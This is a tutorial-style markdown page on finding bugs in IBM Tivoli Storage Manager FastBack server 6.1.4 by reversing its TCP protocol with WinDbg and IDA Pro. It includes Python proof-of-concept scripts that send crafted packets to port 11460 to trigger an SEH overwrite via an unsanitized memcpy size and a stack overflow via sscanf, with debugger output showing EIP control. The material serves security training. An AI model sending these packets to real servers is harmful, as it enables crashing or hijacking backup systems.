Skip to content

Reverse-Engineering.md

Latest commit

 

History

History
798 lines (597 loc) · 22.1 KB

Reverse-Engineering.md

File metadata and controls

798 lines (597 loc) · 22.1 KB

Reverse Engineering for Bugs

8. Reverse Engineering for Bugs

Exploit development typically begins with a proof of concept and/or a CVE, but the story starts earlier - first, the vulnerability must be discovered. This module covers the process behind finding vulnerabilities through systematic analysis.

There are two primary techniques for finding vulnerabilities in binary applications:

  1. Reverse Engineering - Examining a target application's compiled binary using tools that provide higher levels of abstraction to identify potential vulnerabilities
  2. Fuzzing - Feeding the target application with malformed input to force access violations

Reverse Engineering Process

The three main stages of reverse engineering are:

flowchart TD
    A[Install Target Application] --> B[Enumerate Input Methods]
    B --> C[Reverse Engineer Input Parsing Code]
    C --> D[Examine File Formats/Network Protocols]
    D --> E[Locate Vulnerabilities]
    E --> F[Memory Corruptions]
    E --> G[Logical Vulnerabilities]
Loading

Comparison of Techniques

Technique Advantages Disadvantages
Reverse Engineering Complete coverage of all code sections Requires large time investment
Fuzzing Tests large amounts of input against complex applications Nearly impossible to cover every execution path

These techniques are often used together - starting with reverse engineering and then switching to fuzzing for the remaining vulnerability discovery process.

8.1 Installation and Enumeration

Target Application

The target for analysis is Tivoli Storage Manager FastBack server (TSM) - the server component of an old backup product solution from IBM. The trial installation version 6.1.4 contains multiple vulnerabilities, providing an excellent educational opportunity.

8.1.1 Installing Tivoli Storage Manager

The installation must be performed on the Windows 10 student VM every time the VM is reverted. The installer location is:

C:\Installers\FastBackServer-6.1.4\X86_TryAndBuy\setup.exe

Installation Steps

flowchart TD
    A[Double-click setup.exe] --> B[Select 'Backup Server' option]
    B --> C[Accept trial popup warning]
    C --> D[Service failure popup appears]
    D --> E[Select 'Ignore' for FastBack Data Deduplication Service]
    E --> F[Driver publisher warning appears]
    F --> G[Select 'Install this driver software anyway']
    G --> H[Accept reboot prompt]
    H --> I[Installation Complete]
Loading

Important Notes:

  • A popup will report "Service FastBack Data Deduplication Service failed to start" - select Ignore
  • Windows will warn about missing driver publisher verification - select Install this driver software anyway
  • A reboot is required to complete installation

8.1.2 Enumerating an Application

When attacking a binary application, the focus is on finding:

  • Unsanitized memory operations
  • Logical bugs that could lead to:
    • Remote code execution (RCE)
    • Local privilege escalation (LPE)

Additional attack vectors to consider:

  • Windows Services - Insecure service permission vulnerabilities
  • Kernel Drivers - Potential kernel vulnerabilities in loaded drivers

Network Enumeration Process

Use TCPView from SysInternals to identify network-listening processes:

  1. Open TCPView with administrative permissions
  2. Accept the EULA
  3. Disable "Resolve Addresses" under Options for easier analysis
graph TB
    A[TCPView Analysis] --> B[FastBackMount.exe]
    A --> C[FastBackServer.exe]
    
    B --> D[TCP 30051 - External]
    B --> E[UDP 30005 - Loopback only]
    
    C --> F[TCP 1320 - External]
    C --> G[TCP 11406 - External] 
    C --> H[TCP 11460 - External]
    C --> I[UDP 11461 - External]
    
    subgraph "Attack Surfaces"
        J[Remote Attack Surface - RCE]
        K[Local Attack Surface - LPE]
    end
    
    D --> J
    F --> J
    G --> J
    H --> J
    I --> J
Loading

Key Findings:

  • FastBackMount.exe: TCP 30051 (external), UDP 30005 (loopback)
  • FastBackServer.exe: TCP 1320, 11406, 11460 (external), UDP 11461 (external)

For this analysis, we target TCP port 11460 to attack FastBackServer.exe.

8.2 Interacting with Tivoli Storage Manager

8.2.1 Hooking the recv API

To understand how the application processes network data, we hook the Win32 recv API in Wsock32.dll using WinDbg.

WinDbg Setup

0:077> bp wsock32!recv
0:077> g

Why hook recv? When an application receives data from a connected socket, the recv function accepts that data from a listening TCP port. By hooking this function and sending arbitrary data via TCP, we can identify the entry point into the application and inspect how it parses our data.

Initial Proof of Concept

import socket
import sys

buf = bytearray([0x41]*100)

def main():
    if len(sys.argv) != 2:
        print("Usage: %s <ip_address>\n" % (sys.argv[0]))
        sys.exit(1)

    server = sys.argv[1]
    port = 11460

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))

    s.send(buf)
    s.close()

    print("[+] Packet sent")
    sys.exit(0)

if __name__ == "__main__":
    main()

This PoC connects to the remote TCP port and sends 100 "A" (0x41) characters.

recv Function Analysis

When executed, WinDbg detects the call to recv and breaks:

Breakpoint 0 hit
eax=00000b6c ebx=0604a808 ecx=00df8058 edx=00df8020 esi=0604a808 edi=00669360
eip=67e71e90 esp=0d85fb58 ebp=0d85fe94 iopl=0    nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00000202
WSOCK32!recv:
67e71e90 8bff        mov     edi,edi

recv Function Prototype

int recv(
    SOCKET s,
    char   *buf,
    int    len,
    int    flags
);

Key Parameters:

  • buf: Buffer where received data is stored (0x00df8058)
  • len: Maximum buffer length (0x4400 bytes)

Verification of Data Reception

0:077> dd esp L5
0d85fb58  00581ae8 00581364 00df8058 00004400
0d85fb68  00000000

0:077> dd 00df8058
00df8058  41414141 41414141 41414141 41414141
00df8068  41414141 41414141 41414141 41414141
...

The analysis confirms our 100 0x41 bytes were successfully received and stored in the buffer.

8.2.2 Synchronizing WinDbg and IDA Pro

Combining dynamic analysis (WinDbg) with static analysis (IDA Pro) significantly improves reverse engineering efficiency.

Process Overview

sequenceDiagram
    participant W as WinDbg
    participant I as IDA Pro
    participant T as Target Process
    
    W->>T: Set breakpoint on recv
    W->>T: Execute until breakpoint
    W->>W: Dump call stack
    W->>I: Locate FastBackServer executable
    I->>I: Load executable for analysis
    W->>I: Synchronize at return address
    I->>W: Provide static code analysis
Loading

Finding the Executable Location

Use the List Loaded Modules command in WinDbg:

0:077> lm m fastbackserver
Browse full module list
start    end      module name
00400000 00c9c000   FastBackServer   (coff symbols)     
C:\Program Files\Tivoli\TSM\FastBack\server\FastBackServer.exe

Synchronization Steps

  1. In WinDbg: Examine the call stack to find the return address into FastBackServer
  2. In IDA Pro: Load the FastBackServer.exe executable
  3. Navigate to the same address: Use Jump > Jump to function in IDA Pro
  4. Align analysis: Ensure both tools point to the same memory location
graph LR
    A[WinDbg Dynamic Analysis] <--> B[IDA Pro Static Analysis]
    A --> C[Register/Memory Content]
    B --> D[Code Flow Understanding]
    C --> E[Complete Analysis]
    D --> E
Loading

8.2.3 Tracing the Input

With both tools aligned, we can analyze how the application processes our input data.

Initial Input Processing

The first instruction after returning from recv processes the number of bytes received:

mov [ebp+var_8], eax    ; Save bytes received to stack
cmp [ebp+var_8], 0FFFFFFFFh  ; Compare to SOCKET_ERROR

Error Handling Analysis

flowchart TD
    A[recv() returns] --> B{result == SOCKET_ERROR?}
    B -->|Yes| C[Error Handling]
    B -->|No| D{result == 0?}
    D -->|Yes| E[No Data Received]
    D -->|No| F[Process Data]
Loading

Equivalent C Pseudocode:

char* buf[0x4400];
DWORD result = recv(s,buf,0x4400,0);
if(result != SOCKET_ERROR)
{ 
    if(result != 0)
    { 
        // Process received data
    } 
}

8.2.4 Checksum, Please

This section dives deep into tracing input data through the target application memory, covering how TCP data is parsed and verified.

Hardware Breakpoint Strategy

To determine if function calls are relevant to our input processing:

flowchart TD
    A[Set hardware breakpoint on input buffer] --> B[Step over function call]
    B --> C{Breakpoint triggered?}
    C -->|No| D[Function not relevant - skip]
    C -->|Yes| E[Function accesses our data]
    E --> F[Resend payload and step into call]
Loading

Memory Copy Operations

The application performs several memory operations on our input:

  1. Initial Copy: Input buffer → temporary buffer
  2. Endianness Conversion: First DWORD byte order is reversed
  3. Validation: Multiple checks on the converted DWORD
void *memcpy(void *str1, const void *str2, size_t n)

Function Analysis:

  • Copies data from second argument to first argument
  • Number of bytes copied specified by third argument

Endianness Processing

graph TD
    A[Input DWORD: 0x41414141] --> B[Fetch and mask operations]
    B --> C[Shift operations]
    C --> D[Combine results]
    D --> E[Result: Byte order reversed]
    
    subgraph "Assembly Operations"
        F[AND eax, 0FFh]
        G[SHL eax, 18h]
        H[SHR edx, 8]
        I[AND edx, 0FFh]
        J[SHL edx, 10h]
        K[OR eax, edx]
    end
Loading

Validation Checks

The application performs multiple validation checks on the processed DWORD:

  1. Sign Check: Uses Jump Less (JL) - checks Sign Flag and Overflow Flag
  2. Size Check: Uses Jump Below or Equal (JBE) - unsigned comparison ≤ 0x100000
flowchart TD
    A[Modified DWORD] --> B{JL Check: SF ≠ OF?}
    B -->|Yes| C[Jump taken]
    B -->|No| D{JBE Check: value ≤ 0x100000?}
    D -->|Yes| E[Validation passed]
    D -->|No| F[Validation failed]
Loading

Key Finding: The first DWORD must be sent in big-endian format and equal the size of the remaining buffer to pass validation.

8.3 Reverse Engineering the Protocol

8.3.1 Header-Data Separation

After successful validation, the application copies the input buffer for further processing and returns up the call stack.

Function Flow Analysis

sequenceDiagram
    participant R as recv
    participant C as FX_AGENT_CopyReceiveBuff
    participant G as FX_AGENT_GetData
    participant Cy as FX_AGENT_Cyclic
    participant RC as FXCLI_C_ReceiveCommand
    
    R->>C: Input buffer + validation
    C->>G: Validated data
    G->>Cy: Return value check
    Cy->>RC: Process packet structure
Loading

Protocol Structure Discovery

Through analysis, we discover the packet structure:

0x00 - 0x04: Checksum DWORD
0x04 - 0x34: Packet header  
0x34 - End:  psCommandBuffer

Buffer Allocation and Processing

The application allocates two main buffers:

  1. psCommandBuffer: Size 0x186A4 bytes - initialized with memset to 0
  2. psAgentCommand: Size 0x30 bytes - contains packet header
graph TD
    A[Input Buffer] --> B[Checksum Validation]
    B --> C[Memory Allocation]
    C --> D[psCommandBuffer - 0x186A4 bytes]
    C --> E[psAgentCommand - 0x30 bytes]
    D --> F[memset to 0]
    E --> G[Copy header data]
    F --> H[Copy remaining data]
    G --> H
    H --> I[Further Processing]
Loading

8.3.2 Reversing the Header

The FXCLI_OraBR_Exec_Command function is extremely large (>1000 basic blocks), requiring adjustment of IDA Pro settings.

IDA Pro Configuration

Navigate to Options > General > Graph and change Max number of nodes to 10000.

graph TD
    A[FXCLI_OraBR_Exec_Command] --> B[Multiple Conditional Checks]
    B --> C[Size Validation: DWORD ≤ 0x61A8]
    C --> D[Three Similar Checks]
    D --> E[Main Functionality Branch]
    
    subgraph "Conditional Structure"
        F[if condition 1]
        G[if condition 2] 
        H[if condition 3]
        I[if condition 4]
        J[if condition 5]
    end
Loading

Header Structure Analysis

Through reverse engineering, we discover the psAgentCommand buffer structure:

0x00: Checksum DWORD
0x04 - 0x30: psAgentCommand
  - 0x04 - 0x10: Unknown fields
  - 0x14: Offset for 1st copy operation
  - 0x18: Size of 1st copy operation  
  - 0x1C: Offset for 2nd copy operation
  - 0x20: Size of 2nd copy operation
  - 0x24: Offset for 3rd copy operation
  - 0x28: Size of 3rd copy operation
  - 0x2C - 0x30: Unknown fields
0x34 - End: psCommandBuffer

Memory Copy Operations

The application performs three memcpy operations, each controlled by offset and size values in the header:

flowchart TD
    A[psCommandBuffer] --> B[1st memcpy]
    A --> C[2nd memcpy]  
    A --> D[3rd memcpy]
    
    B --> E[Destination Buffer 1]
    C --> F[Destination Buffer 2]
    D --> G[Destination Buffer 3]
    
    H[psAgentCommand Header] --> I[Offset + Size Controls]
    I --> B
    I --> C
    I --> D
Loading

8.3.3 Exploiting Memcpy

Memory corruption vulnerabilities often stem from insufficiently-sanitized user input in memory manipulation operations.

Vulnerability Discovery

During analysis of the three memcpy operations, a critical programming error is discovered: the third memcpy operation uses the wrong size validation.

graph TD
    A[1st memcpy] --> B[Size check: offset 0x18 ≤ 0x61A8] 
    C[2nd memcpy] --> D[Size check: offset 0x1C ≤ 0x61A8]
    E[3rd memcpy] --> F[Size check: offset 0x4 ≤ 0x61A8]
    E --> G[Actual size used: offset 0x28]
    
    F --> H[PROGRAMMING ERROR]
    G --> I[Unsanitized Size Parameter]
    
    style F fill:#ff9999
    style H fill:#ff9999
    style I fill:#ff9999
Loading

Proof of Concept for Valid Operations

import socket
import sys
from struct import pack

# Checksum
buf = pack(">i", 0x630)
# psAgentCommand
buf += bytearray([0x41]*0x10)
buf += pack("<i", 0x0)    # 1st memcpy: offset
buf += pack("<i", 0x100)  # 1st memcpy: size field
buf += pack("<i", 0x100)  # 2nd memcpy: offset
buf += pack("<i", 0x200)  # 2nd memcpy: size field
buf += pack("<i", 0x300)  # 3rd memcpy: offset
buf += pack("<i", 0x300)  # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)

# psCommandBuffer
buf += bytearray([0x42]*0x100)  # 1st buffer
buf += bytearray([0x43]*0x200)  # 2nd buffer
buf += bytearray([0x44]*0x300)  # 3rd buffer

8.3.4 Getting EIP Control

The programming error enables triggering a memcpy operation with an unsanitized size value.

Stack Buffer Overflow Conditions

For a successful stack overflow attack, two conditions must be met:

graph TD
    A[Stack Buffer Overflow] --> B[Condition 1: Destination buffer at lower address than return address]
    A --> C[Condition 2: Copy size large enough to overwrite return address]
    
    B --> D[Check with !teb command]
    C --> E[Calculate required size: >0x1251C bytes]
    
    D --> F[Stack Base: 0x0d520000]
    D --> G[Stack Limit: 0x0d4b6000]
    
    E --> H[Problem: Max packet size 0x4400 bytes]
    H --> I[Solution: Use negative offset]
Loading

SEH Chain Overwrite Strategy

Instead of direct return address overwrite, we target the SEH (Structured Exception Handler) chain:

# Updated PoC for SEH overwrite
import socket
import sys
from struct import pack

# Checksum
buf = pack(">i", 0x2330)
# psAgentCommand
buf += bytearray([0x41]*0x10)
buf += pack("<i", 0x0)      # 1st memcpy: offset
buf += pack("<i", 0x1000)   # 1st memcpy: size field
buf += pack("<i", 0x0)      # 2nd memcpy: offset
buf += pack("<i", 0x1000)   # 2nd memcpy: size field
buf += pack("<i", -0x11000) # 3rd memcpy: offset (negative!)
buf += pack("<i", 0x13000)  # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)

# psCommandBuffer
buf += bytearray([0x45]*0x100)   # 1st buffer
buf += bytearray([0x45]*0x200)   # 2nd buffer
buf += bytearray([0x45]*0x2000)  # 3rd buffer (larger for SEH overwrite)

Successful EIP Control

0:006> !exchain
0d27ff38: 45454545
Invalid exception stack at 45454545

Result: EIP control achieved through SEH chain overwrite (EIP = 0x45454545).

8.4 Digging Deeper to Find More Bugs

8.4.1 Switching Execution

To avoid triggering the unsanitized memcpy vulnerabilities while exploring other functionality, we revert to a valid psAgentCommand buffer configuration.

Valid Configuration PoC

import socket
import sys
from struct import pack

# Checksum
buf = pack(">i", 0x630)
# psAgentCommand
buf += bytearray([0x41]*0xC)
buf += pack("<i", 0x534)   # opcode
buf += pack("<i", 0x0)     # 1st memcpy: offset
buf += pack("<i", 0x100)   # 1st memcpy: size field
buf += pack("<i", 0x100)   # 2nd memcpy: offset
buf += pack("<i", 0x200)   # 2nd memcpy: size field
buf += pack("<i", 0x300)   # 3rd memcpy: offset
buf += pack("<i", 0x300)   # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)

# psCommandBuffer
buf += bytearray([0x42]*0x100)  # 1st buffer
buf += bytearray([0x43]*0x200)  # 2nd buffer
buf += bytearray([0x44]*0x300)  # 3rd buffer

Opcode-Based Function Dispatching

The application uses an opcode system to determine which functionality to execute:

graph TD
    A[Input Processing Complete] --> B[Extract Opcode from offset 0x10]
    B --> C[Series of Opcode Comparisons]
    C --> D[0x1090h comparison]
    C --> E[0x903h comparison]
    C --> F[0x505h comparison]
    C --> G[0x1070h comparison]
    C --> H[0x514h comparison]
    C --> I[0x521h comparison]
    
    subgraph "Switch Statement Logic"
        J[Subtract 0x518 from opcode]
        K[Compare result to 0x3B]
        L[Jump Table Implementation]
    end
    
    D --> J
    E --> J
    F --> J
Loading

Jump Table Analysis

The application implements a jump table for opcode dispatch:

  1. Subtract base value (0x518) from opcode
  2. Range check against maximum value (0x3B)
  3. Index calculation using the result
  4. Indirect jump to function address

8.4.2 Going Down 0x534

Investigation of opcode 0x534 reveals an interesting execution path that leads to additional vulnerabilities.

Function Call Chain for Opcode 0x534

sequenceDiagram
    participant OC as Opcode Check
    participant ST as Switch Table
    participant SC as FXCLI_SetConfFileChunk
    participant SS as sscanf
    
    OC->>ST: Opcode 0x534 processed
    ST->>SC: Jump to function
    SC->>SS: Call with user data
    SS->>SS: Parse format string
Loading

FXCLI_SetConfFileChunk Analysis

This function receives three arguments from our controlled data:

  1. psAgentCommand buffer - Contains control parameters
  2. First buffer from psCommandBuffer - Source data
  3. Third buffer from psCommandBuffer - Additional data

sscanf Vulnerability

The function calls sscanf with a hardcoded format string:

int sscanf(const char *buffer, const char *format, ... );

Format String: "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d"

Vulnerability Analysis:

  • The %s specifier copies a null-terminated string without size validation
  • No bounds checking on destination buffer
  • Destination buffer is on the stack
  • Large input can overflow the stack and overwrite return address

Stack Overflow Calculation

Distance from destination buffer to return address: 0x114 bytes

This small distance makes stack overflow exploitation straightforward.

Exploitation PoC

import socket
import sys
from struct import pack

# psAgentCommand
buf = bytearray([0x41]*0xC)
buf += pack("<i", 0x534)    # opcode
buf += pack("<i", 0x0)      # 1st memcpy: offset
buf += pack("<i", 0x200)    # 1st memcpy: size field
buf += pack("<i", 0x0)      # 2nd memcpy: offset
buf += pack("<i", 0x100)    # 2nd memcpy: size field
buf += pack("<i", 0x0)      # 3rd memcpy: offset
buf += pack("<i", 0x100)    # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)

# psCommandBuffer
formatString = b"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % \
(b"A"*0x200,0,0,0,0)
buf += formatString

# Checksum
buf = pack(">i", len(buf)-4) + buf

Successful Exploitation

0:001> k L4
# ChildEBP RetAddr
00 0d79e314 41414141 FastBackServer!FXCLI_SetConfFileChunk+0x40
01 0d7ffe98 0056a21f FastBackServer!FXCLI_OraBR_Exec_Command+0x69a1
...

0:001> g
(1ab0.1320): Access violation - code c0000005 (first chance)
eax=00000000 ebx=060cc190 ecx=0d79ca70 edx=77301670 esi=060cc190 edi=00669360
eip=41414141 esp=0d79e31c ebp=41414141 iopl=0    nv up ei pl zr na pe nc

Result: Successful EIP control (EIP = 0x41414141)

Summary

This reverse engineering process demonstrates a systematic approach to vulnerability discovery:

Key Methodologies

  1. Installation and Enumeration

    • Identify network-listening services
    • Map attack surfaces (remote vs local)

  2. Dynamic and Static Analysis Combination

    • WinDbg for runtime analysis
    • IDA Pro for code flow understanding
    • Hardware breakpoints for input tracing

  3. Protocol Reverse Engineering

    • Input validation analysis
    • Buffer structure mapping
    • Memory operation tracing

  4. Vulnerability Classification

    • Memory corruption vulnerabilities
    • Logical vulnerabilities
    • Programming errors in validation

Vulnerabilities Discovered

  1. Denial of Service: Invalid source buffer in memcpy
  2. SEH Overwrite: Unsanitized size parameter in third memcpy
  3. Stack Buffer Overflow: sscanf with unvalidated %s format specifier

Final Packet Structure

0x00: Checksum DWORD
0x04 → 0x30: psAgentCommand
  - 0x04 → 0xC: Unused
  - 0x10: Opcode  
  - 0x14: Offset for 1st copy operation
  - 0x18: Size of 1st copy operation
  - 0x1C: Offset for 2nd copy operation
  - 0x20: Size of 2nd copy operation
  - 0x24: Offset for 3rd copy operation
  - 0x28: Size of 3rd copy operation
  - 0x2C → 0x30: Unused
0x34 → End: psCommandBuffer
  - 0x34 + offset1 → 0x34 + offset1 + size1: 1st buffer
  - 0x34 + offset2 → 0x34 + offset2 + size2: 2nd buffer  
  - 0x34 + offset3 → 0x34 + offset3 + size3: 3rd buffer